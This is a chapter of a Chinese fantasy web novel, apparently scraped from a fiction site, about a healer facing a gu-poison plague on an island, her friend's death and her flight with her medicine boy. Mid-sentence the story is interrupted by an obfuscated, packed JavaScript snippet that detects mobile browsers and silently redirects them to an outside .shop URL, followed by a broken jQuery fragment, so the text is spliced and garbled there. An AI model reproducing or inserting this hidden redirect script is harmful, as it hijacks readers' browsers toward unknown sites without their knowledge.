千蚕岛阴雨绵绵,像是被困在了雨季里。
开满大街的月桂早已不堪雨滴的重负,一个两个败下阵来,零零碎碎落进泥土里。
魏裘玉撑着伞,路过那一排桂花树时,金黄的花瓣似下定了决心,摇摇晃晃落在了她的发梢。
她此次出宫是为了买果脯。
梁秋云旧疾复发,咳喘不止。魏裘玉用药又只关心药效不在乎滋味,每次都苦得梁秋云牙齿打颤。
还是慕容琴枝向她建议买些果脯,她这才冒雨出宫。
空无一人的大街被雨水逐渐覆盖,魏裘玉走遍每一家店都不见开门,便兜兜转转又来到了那家面馆。
她收起伞进门,入眼的是久未擦拭的桌椅,上头趴着一层薄薄的灰。
魏裘玉皱着眉,一副慊弃的模样环顾四周,喊道:“有人吗?”
无人应她。
她又撑开伞,正欲离开,身后传来急促的脚步声。魏裘玉下意识转身,却险些被迎面冲来的店小二撞倒。
好在她一个侧身滚到一旁,才幸免于难。照店小二跑过来的速度,倘若她避之不及,定是要被撞出二里地,撞的头破血流。
她撑起身子,惊心于刚才的一幕,气息有些虚浮地看着眼前神志不清的人。
魏裘玉敏锐地发觉了他的不对劲。
面前人双眼失神,脸色乌青,四肢僵硬不说,刚才跑过来的姿势也很怪异,魏裘玉初步判断,他中毒了。
店小二爬起身,明明脸上额头上已经破皮流血,可他像没有感知般不管不顾地,继续冲向魏裘玉。
魏裘玉虽然医术了得,但武功完全小白,仅会的两套招式,一套是五禽戏,一套是八段锦。
所以她并未恋战,捡起手边的伞,趁其不备跑了出去。
身后店小二穷追不舍,魏裘玉气喘吁吁一刻不敢停歇。
而此时雨也越下越大,淋的魏裘玉拿不稳纸伞,索性一把朝着店小二扔了去,对方立刻被砸倒在地。
魏裘玉却并未松懈,趁机加快脚步跑向竹宫。
不知怎的,第六感告诉她还未脱离危险。
果然,下一秒她便在宫门口看到了断臂剑仙。
见断臂的剑已经出鞘,魏裘玉心底万分不安,因为她感受到了对方锋利锐意的剑气。
江湖上有个不成文的规定——剑客的剑只有在杀人的时候才可出鞘。
虽然不乏断臂这样的剑痴,为了比剑而拔剑四顾的,但显然魏裘玉从来都不在断臂的比试名单上。
不出意外,她如今应是进了断臂的暗杀名单。
暴雨袭来,魏裘玉站在雨中随风摇晃,她看着断臂一步步靠近,而她绞尽脑汁却想不出破局的办法。
而这时,身后挣脱束缚的店小二也追了上来。现在前有狼后有狗,魏裘玉被困在包围圈内,她目光冷冽地环顾四周。
她知道自己死不了,可她不想任人宰割,坐以待毙。
断臂跟店小二怕是都中了什么邪毒,若真如此那岛上的百姓恐有危险,所以她必须回宫告诉师傅,合力研制出解药。
哪怕受伤,哪怕流血,她也要回去!
否则后果不堪设想!
于是趁其不备,魏裘玉一步试探,在店小二扑上来时瞬间抽身,绕开他跑向断臂身后的宫门。虽然知道免不了要受伤,但利剑刺入皮肉的那一刻,魏裘玉还是痛到难忍。
好在她特地选好了角度,只刺伤了肩膀并未伤到要害。看着鲜血低落雨水中,又被倾盆的大雨冲淡,魏裘玉恍惚一瞬后立刻奔向竹宫。
身后断臂与店小二本欲追捕,可不知为何二人同时停下,毫无征兆地双双倒地。
就像是被人操纵着,刻意而为之。
魏裘玉捂住肩膀上的伤口回到了竹宫,并命人将宫外的二人绑起来关在地牢,嘱咐下人打来热水后,她关上房门开始清理伤口。
聂弘枝不在今照殿,倒是方便了她。
看着刺目的伤口,魏裘玉眼底一片黯然。
她八岁随白雾涯离开南梁来到千蚕岛,十年年来从未受过伤,而今日所发生的一切仿佛是在提醒她,命中注定的根本躲不掉。
收拾好桌面换好衣服,还不等她平复心情,消化刚才的一切,就见慕容琴枝火急火燎地闯入门内,表情难看的如吃了十斤黄连般。
慕容琴枝:“梁姑娘……死了。”
“哐当——”装着伤药的瓷瓶落地,裂做死亡的枯花,铺满脚下。
魏裘玉赶去琼华殿时,白雾涯已经在了。见她过来,沉重惋惜地开口说:“裘玉,梁姑娘死了。”
魏裘玉只觉脚底如灌铅般寸步难行,明明今早还好好的一个人怎么突然就死了?
看着躺在床上、闭着眼与世长辞的梁秋云,魏裘玉心中感慨万千,却化不成一滴泪。
她眼眶干涩,鼻腔刺痛,面色平淡如常地开口问:“死因呢?”
白雾涯担忧地看着她:“毒发身亡。”
魏裘玉身子一怔,心底悲然。
她缓缓吐出一丝浊气,语气淡然道:“好。”
慕容琴枝在一旁看她这副模样,心疼的同时也担心她会想不开。
梁秋云是春晖毒发身亡,而春晖的毒性本应已经被魏裘玉彻底祛除,可如今出了这档子事,她担心魏裘玉会自责。
“裘玉,你别多想。梁姑娘虽是毒发身亡,但是与你无关。”
魏裘玉沉默不语,转身离开。
慕容琴枝不放心她,与白雾涯对视一眼,而后快步跟上她。
“裘玉——!”
魏裘玉并未停下脚步,她从琼华殿一路走到今照殿,不由分说的将医册打开,一页一页翻找。
慕容琴枝看她如此决绝,忍不住上前劝说:“白师傅说了,梁姑娘虽然是因春晖而死,但并不是原来的春晖。你没有失误,你真的把毒解了。”
魏裘玉却仿佛什么也听不到似的,执着地翻着医册,直到将整本册子翻完也未见梁秋云的那一页。
突然,她像是想起什么一样,紧闭双眼放缓呼吸。
她这么爱偷懒的人,怎么可能认真记录治病救人的全过程?更何况她对自己的医术一向很自信……
慕容琴枝宽慰她不必自责,魏裘玉也如此告诉自己。
心底响起无数声音,自恋的、自傲的、自省的、自责的,一句接着一句对她进行心里慰问。
“她体内的春晖早就被我解了,害死她的不是我。”
“我医术这么高明,怎么可能连区区春晖都解不了?一定是她自己的原因。”
“若我这几日多留意她,也不至于现在阴阳相隔。”
“是我的错。”
……
“师傅有说怎么处理她的尸体吗?”魏裘玉开口,慕容琴枝的担忧被消解几分。
“没有。”
魏裘玉:“那就送回帝京安葬,顺便吊唁。”
慕容琴枝点点头,觉得这个安排很合理。梁秋云是帝京人,死了回到故土也很合理。而魏裘玉是她一生之中,最后一位好友,回京吊唁她也很合理……突然,她想到了什么,急不可耐地开口。
“你要去帝京?!”
魏裘玉点头应下,神色自若地整理医册,仿佛什么都未发生一样。
慕容琴枝却急的不行:“绝对不行!你忘了白师傅的忠告了吗?”
魏裘玉抿了抿唇:“琴枝,师父是师父,我是我。纵然他是为我好,可我不是人偶,做不到事事言听计从。我要去帝京不只是为了梁秋云……”
想到店小二跟断臂剑仙的所为,魏裘玉直觉此事绝不简单,背后定有高人谋划。
而害死梁秋云的春晖,是解毒后重新下在她身上的。此人恨透了梁秋云,不惜下两次毒也要置她于死地。
她与梁秋云的感情并不深厚,她可以没有梁秋云这个朋友,但梁秋云好像只剩她了。
还记得那日梁秋云问她,毒伤痊愈后愿不愿意一起去帝京?她嘴上顺从答应,其实心底不太愿意,一直想找个机会告诉梁秋云真实想法。
可惜再也没机会了。
在梁秋云死前的走马灯中,魏裘玉答应与她一起去帝京,是她永远无法办到的遗憾。
没时间因此而悲伤,现在有更重要的事情等着她做。
她将今日发生的一切,以及所有猜想全部告诉了白雾涯,白雾涯在看到魏裘玉肩膀处的绷带时,温和的表情瞬间崩裂。
而在看到魏裘玉认命的眼神后,白雾涯又迅速整理好思绪,将刚才的悲恸收起。可他不知,魏裘玉早已看到他眼角残留的那份悯然。
地牢内阴暗潮湿,鼠蚁蚊虫却将这里当做了栖息地,常来光顾。
“哗啦——哗啦——”
沉重的铁链被二人挣脱出声响,在整个地牢回荡着。
断臂与店小二早已醒来,二人走来如同见到什么猎物般,拼了命地朝魏裘玉与白雾涯扑来。若不是有铁链的限制,再多一寸魏裘玉便要被断臂伤到。
魏裘玉挥开她那双沾满血渍和污泥的手,看了她一眼,问:“是何毒?”
白雾涯在她身后仔细观察着牢里的二人,经过片刻的思索后,语气沉重地开口:“是蛊毒……”
魏裘玉擅长毒术,却不擅长蛊术,且师傅也鲜少教她关于蛊术的知识。此刻就算知道毒因,她也束手无策。
回到今照殿,白雾涯一刻未歇便开始翻阅古籍医书,魏裘玉也没闲着,早早就让慕容琴枝集结宫内的士兵出宫巡查,凡是见到神志不清者一律抓回地牢关押。
而聂弘枝则安静待在一旁,默默注视着魏裘玉。
-
千蚕岛的变故来势汹汹,不少百姓毫无预兆的发疯攻击人,更有极端者,食人肉喝人血,岛上百姓人心惶惶,全部闭门不出。
可随着毒发的人越来越多,地牢挤满了岛民。魏裘玉本以为此毒感染的范围很小,可在地牢里看到那几位江湖侠客时,她才恍然,这场变故绝非此前猜想的那般简单。
下毒之人,是想毁了整座岛。
魏裘玉告诉白雾涯,她们不能再等,必须马上找出解毒之法,否则千蚕岛不堪重负,必将毁于一旦。
而距离千蚕岛最近的国都是南梁覃玉城,是她出生的地方。倘若这些患毒的百姓逃到覃玉,那么对南梁来说将是前所未有的浩劫。
她绝不允许这样的事发生。
这日是慕容琴枝率兵巡城的第五日,白雾涯率领竹宫上下走到岛上的祭神台,向底下的百姓保证道:“如今毒患已经被我们控制住,我们也会尽快找出解毒之法,还大家一个安居乐业的千蚕岛。”
虽然白雾涯等人在岛上素有美称,可到了性命攸关之际,没有几个人愿意将性命委托到别人手中。
“我二伯被锁在地牢里生不如死,这就是你们口中的控制吗?”
微弱的声音落入沉默的人群,一石激起千层浪,百姓心中的不满与不安顿时找到了发泄的出口。
“我夫君现在人不人鬼不鬼的,我的孩子才三岁!每天都吵着要父亲,我能怎么办?!”
“凭什么!凭什么是我夫人——凭什么!”
“岛上七十户,没有一家是团圆的!可你们竹宫呢?一个中毒的都没有!这不公平!”
“就是啊,我们骨肉分离亲人分别,可你们高高在上地安慰又能抵什么用!不是医仙吗?不是药王吗?解药呢!”
……
魏裘玉站在白雾涯身边看着底下的混乱,听着来自四面八方的控诉与哀嚎,眼底悲悯尽显。
可她无能为力。
眼看有人哭到昏厥,魏裘玉刚想上前却被白雾涯拉了回来,眼神示意她不要乱动。
果然下一秒,百姓暴乱,控诉竹宫的不作为。
先是骂白雾涯这个名义上的竹宫之主,接着是魏裘玉这个徒弟,然后从上到下依次骂了个遍,最后民愤群起,纷纷嚷着上前讨伐。
士兵将盾摆在身前,连成一排将竹宫的人狠狠护在身后。
就在一片嘈杂中,一道机灵清脆的声音响起。
“大家别吵了,我有办法!”
说话的人,正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511524|203022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是中了蛊毒的陆璃。
嘈杂声瞬间小了许多,直到周围安静下来,他才继续道:“我曾在一本上古医书中看到过,这叫神怒。”
“传闻人间的雨是天神的泪,此次千蚕岛大雨连绵不绝是天神受到了人间的反噬,一怒之下降下了诅咒,天命难违。
人长时间接触带有诅咒的雨水,会成为天神在人间的傀儡,任凭差遣,所以才会有人变得疯癫、痴傻,疯狂攻击人。
而想要破除诅咒,需要献祭一位可以让天神消气的天命之子。
天命之子需在阴年阴月阴日生,且出生当天天降异常。或百鸟朝凤,或九星连珠,又或者时——
红月凌空。”
白雾涯和魏裘玉在听到天命之子和红月凌空时,都下意识的皱起眉,接着藏好眼底的复杂。
聂弘枝淡淡看了她一眼,问她:“怎么了?”
魏裘玉沉思一瞬,道:“若没记错,你便是红月出生的。”
见聂弘枝目光释然,表情淡定,一副置身事外的样子倒显得魏裘玉比他着急了。
“不用担心,我不会死。”聂弘枝安抚道。
魏裘玉不假思索地看着他,什么都没说,就这样一直看着。
“若我被献祭,你会救我,对吗?”聂弘枝问。
魏裘玉垂眸,拒绝回答这个问题。
聂弘枝:“可我是你的药童。”
魏裘玉不以为意,她早已习惯聂弘枝较真的模样。可聂弘枝下一句的坚定,让她慌了神。
“你必须救我。”
魏裘玉收起复杂情绪,薄唇轻启地说:“好。”
陆璃继续道:“而我们还算幸运,这座岛上便有那位红月出生的天选之子!”
百姓听他这么一说,纷纷燃起希望。
“谁啊!谁是红月出生的?快自己站出来!”
“是啊,快出来吧!我们会安顿好你的家室的!”
“再不出来我们都要死了!”
“到底是谁啊!”
……
陆璃勾唇一笑,继续道:“大家不必惊慌,此人就在你们面前。”
百姓们面面相觑,你指责我我指责你,生怕被对方先污蔑清白。
直到陆璃再次开口:“红月出生之人既是天命之子,必定非富即贵。大家不妨看看那祭神台之上?”
话毕,百姓纷纷群起而攻之,要求白雾涯交出天命之子。顿时,整座祭神台被团团围住。
白雾涯无奈,只好硬着头皮出来主持大局。
“各位!我身为竹宫之主可以负责任地告诉大家,竹宫绝无红月出生之人。”
陆璃冷哼道:“是吗白宫主?可我怎么听说,药王大人新收的药童便是在红月出生之人。”
不出所料,聂弘枝立刻成了众矢之的。
有百姓捡起石头砸向聂弘枝,嘴里还念着他是扫把星,魏裘玉则迅速将他拉到身后。她并不比聂弘枝矮多少,所以结结实实地替他挡下了那一击。
“嘶——”魏裘玉的肩膀渗出血,整个人虚弱的瘫倒在地,嘴里呜咽呜咽喘着痛意。
白雾涯见状,立刻下令回宫。
百姓们一开始不愿让他们离开,直到李婶站出来说:“人就在岛上也跑不了,何必步步紧逼?况且魏姑娘都流血了,她有什么错?”
众人这才停下脚步,不过也有几个犟骨头穷追不舍,结果就是全被拦在了宫门外。
琼华殿内,白雾涯焦急的询问魏裘玉的伤势,魏裘玉则摇摇头吐露出真实的气息,道:“我没事,都是演的。”
白雾涯脸色苍白,意识到被耍了也不生气,无奈叹了口气:“你啊……”
魏裘玉也是不得已,若不用苦肉计他们怕是再待两个钟头都无法脱身。
屋内只有师徒二人,魏裘玉收起紧绷的神情,苦笑一声,喃喃开口问:“师傅,我是不是要走了?”
她刚出生的时候,有高人预测她这一辈子不安稳,是刀光剑影的命。前八年必须大富大贵地养,是以补贵气。而后十年则要修身静心地养,是以补灵气。
直到十八岁,贵气与灵气相结合便可冲煞,稳住后半辈子的幸福。
若这期间□□损伤,便代表着贵气已破,灵气消散。
而她八字全阴,破功后必招来源源不断的杀身之祸。所以只能离开破损之地,并到人杰地灵之地续回灵气,方可抑煞。
白雾涯目光停了一瞬,而后语气轻柔道:“裘玉,其实你不必——”
魏裘玉打断道:“师傅,我受伤了。”
白雾涯看她眼神决绝,有些不忍地红了眼眶。
“裘玉……”
裘玉勾起一抹笑,安慰道:“没事的师傅,我早猜到有这么一天……只是我没想到,竟是在此情此景下。”
她声音哽咽,:“这里是我生活了十年的地方,我希望岛上百姓可以永远安居乐业。所以师傅,答应我……等我下次回来的时候,还我一个完好如初的千蚕岛。”
魏裘玉忍住落泪的念头,可微红的眼眶内是蓄满的泪水。
“答应我,好吗?”她的声音轻颤。
白雾涯侧过身,先她一步落泪。
沉声哽咽道:“好,师傅答应你……”
师徒二人面面相觑,谁都没敢去看对方湿润的双眼。
蜡烛燃尽半根,白雾涯擦去眼泪。
他将聂弘枝喊了进来,对着二人道:“北楚不宜久留,南梁未到时机,你二人只得去大盛。我在燕京城春雨巷内,有一家名为‘清净堂’的医馆,你们先去那里暂避一段时间。”
魏裘玉不舍,开口道:“师傅……”
白雾涯深吸一口气,转过身不去看她,下定决心般地说,“今晚便启程。”
魏裘玉知道白雾涯是为了她好,她必须早日离开此地,可……可她又怎么舍得下?
眼泪决堤,魏裘玉望着白雾涯离开的背影,默默垂下头,眼中泪光轻盈闪烁。
当晚,魏裘玉与聂弘枝乘着月色,在白雾涯的帮助下,坐上了前往大盛的海船。